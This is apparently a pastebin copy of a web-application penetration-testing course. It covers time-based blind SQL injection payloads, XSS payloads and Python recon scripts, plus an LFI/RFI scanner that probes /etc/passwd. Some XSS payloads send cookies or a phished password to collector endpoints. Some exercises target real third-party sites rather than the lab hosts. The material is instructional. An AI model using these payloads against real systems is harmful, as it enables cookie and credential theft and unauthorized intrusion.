- ---------------------------Type This-----------------------------------
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
- -----------------------------------------------------------------------
- Let's go for a quick check to see if it's DBO
- ---------------------------Type This-----------------------------------
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
- -----------------------------------------------------------------------
- Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
- ---------------------------Type This-----------------------------------
- D - 1st Character
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
- B - 2nd Character
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- O - 3rd Character
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
- https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- -----------------------------------------------------------------------
- ################################
- # Playing with session cookies #
- ################################
- -----------------------------------------------------------------------
- Step 1: Browse to the shopping cart page NewEgg.com
- -------------------Browse to this webpage in Firefox------------------------------
- https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
- ----------------------------------------------------------------------------------
- Step 2: View the current session ID
- ---Type this over the shopping car URL in the address bar (don't paste it )---------
- javascript:void(document.write(document.cookie))
- ------------------------------------------------------------------------------------
- You should see your session cookie and if you don't try again in a different browser
- Step 3: Go back to the shopping cart page (click the back button)
- ---------------------------------------------------------------------------------
- https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
- ---------------------------------------------------------------------------------
- Step 4: Now let's modify the session ID
- ---Type this over the shopping car URL in the address bar (don't paste it )---------
- javascript:void(document.cookie="PHPSessionID=wow-this-is-fun")
- ------------------------------------------------------------------------------------
- Step 5: Go back to the shopping cart page (click the back button)
- ---------------------------------------------------------------------------------
- https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
- ---------------------------------------------------------------------------------
- Step 6: View the current session ID
- ---Type this over the shopping car URL in the address bar (don't paste it )---------
- javascript:void(document.write(document.cookie))
- ------------------------------------------------------------------------------------
- -----------------------------------------------------------------------
- #########################################################
- # What is XSS #
- # https://phpapp.infosecaddicts.com/2-Intro_To_XSS.pptx #
- #########################################################
- OK - what is Cross Site Scripting (XSS)
- 1. Use Firefox to browse to the following location:
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/xss_practice/
- -----------------------------------------------------------------------
- A really simple search page that is vulnerable should come up.
- 2. In the search box type:
- ---------------------------Type This-----------------------------------
- <script>alert('So this is XSS')</script>
- -----------------------------------------------------------------------
- This should pop-up an alert window with your message in it proving XSS is in fact possible.
- Ok, click OK and then click back and go back to https://phpapp.infosecaddicts.com/xss_practice/
- 3. In the search box type:
- ---------------------------Type This-----------------------------------
- <script>alert(document.cookie)</script>
- -----------------------------------------------------------------------
- This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
- Ok, click OK and then click back and go back to https://phpapp.infosecaddicts.com/xss_practice/
- 4. Now replace that alert script with:
- ---------------------------Type This-----------------------------------
- <script>document.location="https://phpapp.infosecaddicts.com/xss_practice/cookie_catcher.php?c="+document.cookie</script>
- -----------------------------------------------------------------------
- This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
- 5. Now view the stolen cookie at:
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/xss_practice/cookie_stealer_logs.html
- -----------------------------------------------------------------------
- The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
- ############################
- # A Better Way To Demo XSS #
- ############################
- Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
- Use Firefox to browse to the following location:
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/xss_practice/
- -----------------------------------------------------------------------
- Paste this in the search box
- ----------------------------
- ---------------------------Type This-----------------------------------
- <script>
- password=prompt('Your session is expired. Please enter your password to continue',' ');
- document.write("<img src=\"https://phpapp.infosecaddicts.com/xss_practice/passwordgrabber.php?password=" +password+"\">");
- </script>
- -----------------------------------------------------------------------
- Now view the stolen cookie at:
- ---------------------------Type This-----------------------------------
- https://phpapp.infosecaddicts.com/xss_practice/passwords.html
- -----------------------------------------------------------------------
- ################################
- # Web App Testing with Python3 #
- ################################
- ##############################
- # Bannergrabbing a webserver #
- ##############################
- ---------------------------Type This-----------------------------------
- nano bannergrab.py
- ---------------------------Paste This----------------------------------
- #!/usr/bin/env python3
- import sys
- import socket
- # Great reference: https://www.mkyong.com/python/python-3-typeerror-cant-convert-bytes-object-to-str-implicitly/
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect(("45.63.104.73", 80))
- s.send(("GET / HTTP/1.1\r\n\r\n").encode())
- #Convert response to bytes
- response = b""
- # or use encode()
- #response = "".encode()
- while True:
- data = s.recv(4096)
- response += data
- if not data:
- break
- s.close()
- print(response.decode())
- ----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- python3 bannergrab.py
- -----------------------------------------------------------------------
- ########################################
- # Testing availability of HTTP methods #
- ########################################
- A very good practice for a penetration tester is to start by listing the various available HTTP methods.
- Following is a Python script with the help of which we can connect to the target web server and enumerate the available HTTP methods:
- To begin with, we need to import the requests library:
- ---------------------------
- import requests
- ---------------------------
- After importing the requests library,create an array of HTTP methods, which we are going to send. We will make use ofsome standard methods like 'GET', 'POST', 'PUT', 'DELETE', 'OPTIONS' and a non-standard method ‘TEST’ to check how a web server can handle the unexpected input.
- ----------------------------------------------------------------------------
- method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
- ----------------------------------------------------------------------------
- The following line of code is the main loop of the script, which will send the HTTP packets to the web server and print the method and the status code.
- ------------------------------------------------------
- for method in method_list:
- req = requests.request(method, 'https://www.google.com')
- print (method, req.status_code, req.reason)
- ------------------------------------------------------
- ------------------------------------------------------
- for method in method_list:
- req = requests.request(method, 'https://www.darkoperator.com')
- print (method, req.status_code, req.reason)
- ------------------------------------------------------
- ------------------------------------------------------
- for method in method_list:
- req = requests.request(method, 'https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php')
- print (method, req.status_code, req.reason)
- ------------------------------------------------------
- ------------------------------------------------------
- for method in method_list:
- req = requests.request(method, 'http://www.dybedu.com')
- print (method, req.status_code, req.reason)
- ------------------------------------------------------
- The next line will test for the possibility of cross site tracing (XST) by sending the TRACE method.
- -------------------------------------------------------------
- if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
- print ('Cross Site Tracing(XST) is possible')
- -------------------------------------------------------------
- *** Full code with example url: ***
- ---------------------------Type This-----------------------------------
- nano xst.py
- ---------------------------Paste This----------------------------------
- #!/usr/bin/env python3
- import requests
- method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
- for method in method_list:
- req = requests.request(method, 'https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php')
- print (method, req.status_code, req.reason)
- if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
- print ('Cross Site Tracing(XST) is possible')
- -------------------------------------------------------------------------
- After running the above script for a particular web server, we will get 200 OK responses for a particular method accepted by the web server. We will get a 403 Forbidden response if the web server explicitly denies the method. Once we send the TRACE method for testing cross site tracing (XST), we will get 405 Not Allowed responses from the web server otherwise we will get the message ‘Cross Site Tracing(XST) is possible’.
- ---------------------------Type This-----------------------------------
- python3 xst.py
- -----------------------------------------------------------------------
- ##########################################
- # Foot printing by checking HTTP headers #
- ##########################################
- HTTP headers are found in both requests and responses from the web server. They also carry very important information about servers. That is why penetration tester is always interested in parsing information through HTTP headers. Following is a Python script for getting the information about headers of the web server:
- To begin with, let us import the requests library:
- ------------------------
- import requests
- ------------------------
- We need to send a GET request to the web server. The following line of code makes a simple GET request through the requests library.
- ---------------------------------------------
- request = requests.get('enter the URL')
- ---------------------------------------------
- Next, we will generate a list of headers about which you need the information.
- ---------------------------------------------------------------------------------------------------------------
- header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
- ---------------------------------------------------------------------------------------------------------------
- Next is a try and except block.
- ---------------------------------------------------
- for header in header_list:
- try:
- result = request.headers[header]
- print ('%s: %s' % (header, result))
- except Exception as err:
- print ('%s: No Details Found' % header)
- ---------------------------------------------------
- *** Example Full Code: ***
- ---------------------------Type This-----------------------------------
- nano headercheck.py
- ---------------------------Paste This----------------------------------
- #!/usr/bin/env python3
- import requests
- request = requests.get('https://dvws1.infosecaddicts.com/dvws1/appinfo.php')
- header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
- for header in header_list:
- try:
- result = request.headers[header]
- print ('%s: %s' % (header, result))
- except Exception as err:
- print ('%s: No Details Found' % header)
- ----------------------------------------------------------------------------------------------------------------
- After running the above script for a particular web server, we will get the information about the headers provided in the header list. If there will be no information for a particular header then it will give the message ‘No Details Found’.
- ---------------------------Type This-----------------------------------
- python3 headercheck.py
- -----------------------------------------------------------------------
- ##############################################
- # Testing insecure web server configurations #
- ##############################################
- We can use HTTP header information to test insecure web server configurations. In the following Python script, we are going to use try/except block to test insecure web server headers for number of URLs that are saved in a text file name websites.txt.
- ---------------------------Type This-----------------------------------
- nano websites.txt
- ---------------------------Paste This----------------------------------
- https://www.google.com
- https://www.cnn.com
- https://foxnews.com
- https://phpapp.infosecaddicts.com/
- https://aspdotnetapp.infosecaddicts.com/
- https://dvws1.infosecaddicts.com/
- -----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- nano insecure_config_check.py
- ---------------------------Paste This----------------------------------
- #!/usr/bin/env python3
- # Reference: https://www.keycdn.com/blog/http-security-headers
- import requests
- urls = open("websites.txt", "r")
- for url in urls:
- url = url.strip()
- req = requests.get(url)
- print (url, 'report:')
- try:
- protection_xss = req.headers['X-XSS-Protection']
- if protection_xss != '1; mode=block':
- print ('X-XSS-Protection not set properly, it may be possible:', protection_xss)
- except:
- print ('X-XSS-Protection not set, it may be possible')
- try:
- options_content_type = req.headers['X-Content-Type-Options']
- if options_content_type != 'nosniff':
- print ('X-Content-Type-Options not set properly:', options_content_type)
- except:
- print ('X-Content-Type-Options not set')
- try:
- transport_security = req.headers['Strict-Transport-Security']
- except:
- print ('HSTS header not set properly, Man in the middle attacks is possible')
- try:
- content_security = req.headers['Content-Security-Policy']
- print ('Content-Security-Policy set:', content_security)
- except:
- print ('Content-Security-Policy missing')
- -----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- python3 insecure_config_check.py
- -----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- nano LFI-RFI.py
- ---------------------------Paste This----------------------------------
- #!/usr/bin/env python3
- print("\n### PHP LFI/RFI Detector ###")
- import urllib.request, urllib.error, urllib.parse,re,sys
- TARGET = "http://45.63.104.73/showfile.php?filename=about.txt"
- RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
- TravLimit = 12
- print("==> Testing for LFI vulns..")
- TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
- for x in range(1,TravLimit): ## ITERATE THROUGH THE LOOP
- TARGET += "../"
- try:
- source = urllib.request.urlopen((TARGET+"etc/passwd")).read().decode() ## WEB REQUEST
- except urllib.error.URLError as e:
- print("$$$ We had an Error:",e)
- sys.exit(0)
- if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
- print("!! ==> LFI Found:",TARGET+"etc/passwd")
- break ## BREAK LOOP WHEN VULN FOUND
- print("\n==> Testing for RFI vulns..")
- TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
- try:
- source = urllib.request.urlopen(TARGET).read().decode() ## WEB REQUEST
- except urllib.error.URLError as e:
- print("$$$ We had an Error:",e)
- sys.exit(0)
- if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
- print("!! => RFI Found:",TARGET)
- print("\nScan Complete\n") ## DONE
- ----------------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- python3 LFI-RFI.py
- -----------------------------------------------------------------------
- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement